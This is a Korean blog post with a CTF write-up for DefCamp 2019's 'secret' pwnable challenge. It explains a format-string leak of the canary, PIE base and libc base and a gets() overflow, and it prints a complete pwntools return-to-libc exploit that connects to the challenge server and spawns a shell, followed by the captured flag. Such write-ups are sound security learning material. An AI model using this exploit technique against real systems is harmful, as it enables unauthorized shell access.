SDJ( 수돈재 아님 ㅎ )

DefCamp CTF Qualification 2019 - secret 본문

write-up/pwnable

DefCamp CTF Qualification 2019 - secret

ShinDongJun 2019. 9. 14. 23:55

ctf는 진작 끝났지만.. pwn을 좋아하기 때문에 따로 가입을 해서 풀어 보았다.

 

 

먼저 main을 보면 처음 노란 줄에서 s에 0x40만큼 입력을 받고 두 번째 노란 줄에서 출력을 해준다.

이때 format-string-bug( fsb )가 일어나 메모리의 leak이 가능하게 된다.

 

다음 secret() 함수를 봐보자

이때 두번째 노란 줄 gets(&s1); 에서 bof가 일어나서 ret을 조작할 수 있게 된다.

 

따라서 익스플로잇 과정은 다음과 같다.

1. fsb로 PIE_base, libc_base, canary를 leak 한다.

2. one_gadget을 구해 ret에 덮는다. (하지만 one_gadget이 전부 작동하지 않았다.)

2. libc_base와 PIE_base를 기반으로 system과 /bin/sh와 pop_rdi 주소를 구한다.

3. RTL로 쉘을 딴다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
 
#p = process("./pwn_secret")
= remote("206.81.24.129",1339)
 
p.sendline("%15$lx %16$lx %17$lx")
p.recvuntil("Hillo ")
 
tmp = p.recvuntil("\n").split()
 
canary = int('0x'+tmp[0],16)
PIE_base = int('0x'+tmp[1],16- 3136
libc_base = int('0x'+tmp[2],16- 133168
 
print "libc_base : " + hex(libc_base)
print "canary : " + hex(canary)
print "PIE_base : " + hex(PIE_base)
 
#one = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
 
libc_system = libc_base + 0x45390
bin_sh = libc_base + 0x18cd57
pop_rdi = PIE_base + 0xca3
#one_gadget = libc_base + one[0]
 
print "libc_system :" + hex(libc_system)
 
pay = "a"*(0x90-0x8)
pay += p64(canary)
pay += p64(0)
#pay += p64(one_gadget)
pay += p64(pop_rdi)
pay += p64(bin_sh)
pay += p64(libc_system)
 
p.sendlineafter(": ",pay)
 
p.interactive()

 

 

 

아직 서버가 작동중이여서 flag를 읽을 수 있었다.

 

flag : DCTF{17AF6D77BFDAC4CAF6CD2FD2F3EB85FB654D2E36745F926169C0958333496979}

'write-up > pwnable' 카테고리의 다른 글

NACTF 2019 - BufferOverflow #0  (0) 2019.09.23
HSCTF 2019 - Storytime  (0) 2019.09.16
HSCTF 2019 - Combo Chain  (0) 2019.09.16
HSCTF 2019 - Combo Chain Lite  (0) 2019.09.16
HSCTF 2019 - Return to Sender  (0) 2019.09.16
Comments